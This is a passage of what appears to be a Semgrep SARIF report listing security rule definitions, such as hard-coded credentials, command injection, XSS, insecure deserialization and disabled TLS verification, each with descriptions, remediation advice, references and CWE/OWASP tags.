CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.memory.memory-marshal-create-span.memory-marshal-create-span"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password)\n - [https://docs.rs/postgres/latest/postgres/](https://docs.rs/postgres/latest/postgres/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password","id":"rust.secrets.postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password","name":"rust.secrets.postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cherrypy.os.tainted-os-command-stdlib-cherrypy.tainted-os-command-stdlib-cherrypy)\n - [https://docs.cherrypy.dev/en/latest/tutorials.html](https://docs.cherrypy.dev/en/latest/tutorials.html)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.cherrypy.os.tainted-os-command-stdlib-cherrypy.tainted-os-command-stdlib-cherrypy","id":"python.cherrypy.os.tainted-os-command-stdlib-cherrypy.tainted-os-command-stdlib-cherrypy","name":"python.cherrypy.os.tainted-os-command-stdlib-cherrypy.tainted-os-command-stdlib-cherrypy","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.cherrypy.os.tainted-os-command-stdlib-cherrypy.tainted-os-command-stdlib-cherrypy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a template variable used in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent cross-site scripting (XSS) attacks when used directly in JavaScript. If you need to do this, use `escape_javascript` or its alias, `j`. However, this will not protect from XSS in all circumstances; see the references for more information. Consider placing this value in the HTML portion (outside of a script tag)."},"help":{"markdown":"Detected a template variable used in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent cross-site scripting (XSS) attacks when used directly in JavaScript. If you need to do this, use `escape_javascript` or its alias, `j`. However, this will not protect from XSS in all circumstances; see the references for more information. Consider placing this value in the HTML portion (outside of a script tag).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.var-in-script-tag.var-in-script-tag)\n - [https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/](https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/)\n - [https://www.youtube.com/watch?v=yYTkLUEdIyE](https://www.youtube.com/watch?v=yYTkLUEdIyE)\n - [https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough](https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough)\n","text":"Detected a template variable used in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent cross-site scripting (XSS) attacks when used directly in JavaScript. If you need to do this, use `escape_javascript` or its alias, `j`. However, this will not protect from XSS in all circumstances; see the references for more information. Consider placing this value in the HTML portion (outside of a script tag)."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.var-in-script-tag.var-in-script-tag","id":"ruby.rails.security.audit.xss.templates.var-in-script-tag.var-in-script-tag","name":"ruby.rails.security.audit.xss.templates.var-in-script-tag.var-in-script-tag","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.templates.var-in-script-tag.var-in-script-tag"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"OWASP guidance recommends disabling tracing for production applications to prevent accidental leakage of sensitive application information."},"help":{"markdown":"OWASP guidance recommends disabling tracing for production applications to prevent accidental leakage of sensitive application information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.security.net-webconfig-trace-enabled.net-webconfig-trace-enabled)\n - [https://cheatsheetseries.owasp.org/cheatsheets/DotNet_Security_Cheat_Sheet.html#asp-net-web-forms-guidance](https://cheatsheetseries.owasp.org/cheatsheets/DotNet_Security_Cheat_Sheet.html#asp-net-web-forms-guidance)\n - [https://msdn.microsoft.com/en-us/library/e8z01xdh.aspx](https://msdn.microsoft.com/en-us/library/e8z01xdh.aspx)\n","text":"OWASP guidance recommends disabling tracing for production applications to prevent accidental leakage of sensitive application information."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.security.net-webconfig-trace-enabled.net-webconfig-trace-enabled","id":"csharp.dotnet.security.net-webconfig-trace-enabled.net-webconfig-trace-enabled","name":"csharp.dotnet.security.net-webconfig-trace-enabled.net-webconfig-trace-enabled","properties":{"precision":"very-high","tags":["CWE-1323: Improper Management of Sensitive Trace Data","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.security.net-webconfig-trace-enabled.net-webconfig-trace-enabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected user input flowing into an HTML response. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data."},"help":{"markdown":"Detected user input flowing into an HTML response. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.tainted-html-response.tainted-html-response)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected user input flowing into an HTML response. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.tainted-html-response.tainted-html-response","id":"python.aws-lambda.security.tainted-html-response.tainted-html-response","name":"python.aws-lambda.security.tainted-html-response.tainted-html-response","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.tainted-html-response.tainted-html-response"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Heroku API Key detected"},"help":{"markdown":"Heroku API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-heroku-api-key.detected-heroku-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Heroku API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-heroku-api-key.detected-heroku-api-key","id":"generic.secrets.security.detected-heroku-api-key.detected-heroku-api-key","name":"generic.secrets.security.detected-heroku-api-key.detected-heroku-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-heroku-api-key.detected-heroku-api-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.sql.drivermanager-hardcoded-empty-secret.drivermanager-hardcoded-empty-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.sql.drivermanager-hardcoded-empty-secret.drivermanager-hardcoded-empty-secret","id":"kotlin.sql.drivermanager-hardcoded-empty-secret.drivermanager-hardcoded-empty-secret","name":"kotlin.sql.drivermanager-hardcoded-empty-secret.drivermanager-hardcoded-empty-secret","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.sql.drivermanager-hardcoded-empty-secret.drivermanager-hardcoded-empty-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.mongo.mongo-hardcoded-secret.mongo-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.mongo.mongo-hardcoded-secret.mongo-hardcoded-secret","id":"kotlin.mongo.mongo-hardcoded-secret.mongo-hardcoded-secret","name":"kotlin.mongo.mongo-hardcoded-secret.mongo-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.mongo.mongo-hardcoded-secret.mongo-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"When using `System.Text.RegularExpressions` to process untrusted input, pass a timeout.  A malicious user can provide input to `RegularExpressions` that abuses the backtracking behaviour of this regular expression engine. This will lead to excessive CPU usage, causing a Denial-of-Service attack"},"help":{"markdown":"When using `System.Text.RegularExpressions` to process untrusted input, pass a timeout.  A malicious user can provide input to `RegularExpressions` that abuses the backtracking behaviour of this regular expression engine. This will lead to excessive CPU usage, causing a Denial-of-Service attack\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.regular-expression-dos.regular-expression-dos.regular-expression-dos)\n - [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n - [https://docs.microsoft.com/en-us/dotnet/standard/base-types/regular-expressions#regular-expression-examples](https://docs.microsoft.com/en-us/dotnet/standard/base-types/regular-expressions#regular-expression-examples)\n","text":"When using `System.Text.RegularExpressions` to process untrusted input, pass a timeout.  A malicious user can provide input to `RegularExpressions` that abuses the backtracking behaviour of this regular expression engine. This will lead to excessive CPU usage, causing a Denial-of-Service attack"},"helpUri":"https://semgrep.dev/r/csharp.lang.security.regular-expression-dos.regular-expression-dos.regular-expression-dos","id":"csharp.lang.security.regular-expression-dos.regular-expression-dos.regular-expression-dos","name":"csharp.lang.security.regular-expression-dos.regular-expression-dos.regular-expression-dos","properties":{"precision":"very-high","tags":["CWE-1333: Inefficient Regular Expression Complexity","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.regular-expression-dos.regular-expression-dos.regular-expression-dos"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.code.vm2-express.vm2-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/javascript.express.code.vm2-express.vm2-express","id":"javascript.express.code.vm2-express.vm2-express","name":"javascript.express.code.vm2-express.vm2-express","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.code.vm2-express.vm2-express"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Service '$SERVICE' is running in privileged mode. This grants the container the equivalent of root capabilities on the host machine. This can lead to container escapes, privilege escalation, and other security concerns. Remove the 'privileged' key to disable this capability."},"help":{"markdown":"Service '$SERVICE' is running in privileged mode. This grants the container the equivalent of root capabilities on the host machine. This can lead to container escapes, privilege escalation, and other security concerns. Remove the 'privileged' key to disable this capability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.docker-compose.security.privileged-service.privileged-service)\n - [https://www.trendmicro.com/en_us/research/19/l/why-running-a-privileged-container-in-docker-is-a-bad-idea.html](https://www.trendmicro.com/en_us/research/19/l/why-running-a-privileged-container-in-docker-is-a-bad-idea.html)\n - [https://containerjournal.com/topics/container-security/why-running-a-privileged-container-is-not-a-good-idea/](https://containerjournal.com/topics/container-security/why-running-a-privileged-container-is-not-a-good-idea/)\n","text":"Service '$SERVICE' is running in privileged mode. This grants the container the equivalent of root capabilities on the host machine. This can lead to container escapes, privilege escalation, and other security concerns. Remove the 'privileged' key to disable this capability."},"helpUri":"https://semgrep.dev/r/yaml.docker-compose.security.privileged-service.privileged-service","id":"yaml.docker-compose.security.privileged-service.privileged-service","name":"yaml.docker-compose.security.privileged-service.privileged-service","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.docker-compose.security.privileged-service.privileged-service"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Hardcoded salt is used in cryptographic operations, which can result in major security issues. Use salt generator that is provided by bcrypt - `bcrypt.gensalt()`."},"help":{"markdown":"Hardcoded salt is used in cryptographic operations, which can result in major security issues. Use salt generator that is provided by bcrypt - `bcrypt.gensalt()`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.bcrypt.bcrypt-hardcoded-salt.bcrypt-hardcoded-salt)\n - [https://cryptography.io/en/latest/random-numbers/#random-number-generation](https://cryptography.io/en/latest/random-numbers/#random-number-generation)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Hardcoded salt is used in cryptographic operations, which can result in major security issues. Use salt generator that is provided by bcrypt - `bcrypt.gensalt()`."},"helpUri":"https://semgrep.dev/r/python.bcrypt.bcrypt-hardcoded-salt.bcrypt-hardcoded-salt","id":"python.bcrypt.bcrypt-hardcoded-salt.bcrypt-hardcoded-salt","name":"python.bcrypt.bcrypt-hardcoded-salt.bcrypt-hardcoded-salt","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.bcrypt.bcrypt-hardcoded-salt.bcrypt-hardcoded-salt"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.sql.jetbrains-hardcoded-empty-secret.jetbrains-hardcoded-empty-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.sql.jetbrains-hardcoded-empty-secret.jetbrains-hardcoded-empty-secret","id":"kotlin.sql.jetbrains-hardcoded-empty-secret.jetbrains-hardcoded-empty-secret","name":"kotlin.sql.jetbrains-hardcoded-empty-secret.jetbrains-hardcoded-empty-secret","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.sql.jetbrains-hardcoded-empty-secret.jetbrains-hardcoded-empty-secret"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure the `SameSite` attribute of the important cookies (e.g., session cookie) is set to a reasonable value. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement."},"help":{"markdown":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure the `SameSite` attribute of the important cookies (e.g., session cookie) is set to a reasonable value. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.web.django-cookie-samesite-none.django-cookie-samesite-none)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://web.dev/articles/samesite-cookies-explained](https://web.dev/articles/samesite-cookies-explained)\n","text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure the `SameSite` attribute of the important cookies (e.g., session cookie) is set to a reasonable value. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement."},"helpUri":"https://semgrep.dev/r/python.django.web.django-cookie-samesite-none.django-cookie-samesite-none","id":"python.django.web.django-cookie-samesite-none.django-cookie-samesite-none","name":"python.django.web.django-cookie-samesite-none.django-cookie-samesite-none","properties":{"precision":"very-high","tags":["CWE-1275: Sensitive Cookie with Improper SameSite Attribute","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.web.django-cookie-samesite-none.django-cookie-samesite-none"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Depending on the context, user control data in `Object.assign` can cause web response to include data that it should not have or can lead to a mass assignment vulnerability."},"help":{"markdown":"Depending on the context, user control data in `Object.assign` can cause web response to include data that it should not have or can lead to a mass assignment vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.insecure-object-assign.insecure-object-assign)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html)\n - [https://en.wikipedia.org/wiki/Mass_assignment_vulnerability](https://en.wikipedia.org/wiki/Mass_assignment_vulnerability)\n","text":"Depending on the context, user control data in `Object.assign` can cause web response to include data that it should not have or can lead to a mass assignment vulnerability."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.insecure-object-assign.insecure-object-assign","id":"javascript.lang.security.insecure-object-assign.insecure-object-assign","name":"javascript.lang.security.insecure-object-assign.insecure-object-assign","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.insecure-object-assign.insecure-object-assign"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-json-pyramid.tainted-json-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://docs.python.org/3/library/json.html](https://docs.python.org/3/library/json.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-json-pyramid.tainted-json-pyramid","id":"python.pyramid.deserialization.tainted-json-pyramid.tainted-json-pyramid","name":"python.pyramid.deserialization.tainted-json-pyramid.tainted-json-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-json-pyramid.tainted-json-pyramid"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for setting the environment variable NODE_TLS_REJECT_UNAUTHORIZED to 0, which disables TLS verification. This should only be used for debugging purposes. Setting the option rejectUnauthorized to false bypasses verification against the list of trusted CAs, which also leads to insecure transport. These options lead to vulnerability to MTM attacks, and should not be used."},"help":{"markdown":"Checks for setting the environment variable NODE_TLS_REJECT_UNAUTHORIZED to 0, which disables TLS verification. This should only be used for debugging purposes. Setting the option rejectUnauthorized to false bypasses verification against the list of trusted CAs, which also leads to insecure transport. These options lead to vulnerability to MTM attacks, and should not be used.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.bypass-tls-verification.bypass-tls-verification)\n - [https://nodejs.org/api/https.html#https_https_request_options_callback](https://nodejs.org/api/https.html#https_https_request_options_callback)\n - [https://stackoverflow.com/questions/20433287/node-js-request-cert-has-expired#answer-29397100](https://stackoverflow.com/questions/20433287/node-js-request-cert-has-expired#answer-29397100)\n","text":"Checks for setting the environment variable NODE_TLS_REJECT_UNAUTHORIZED to 0, which disables TLS verification. This should only be used for debugging purposes. Setting the option rejectUnauthorized to false bypasses verification against the list of trusted CAs, which also leads to insecure transport. These options lead to vulnerability to MTM attacks, and should not be used."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.bypass-tls-verification.bypass-tls-verification","id":"problem-based-packs.insecure-transport.js-node.bypass-tls-verification.bypass-tls-verification","name":"problem-based-packs.insecure-transport.js-node.bypass-tls-verification.bypass-tls-verification","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: 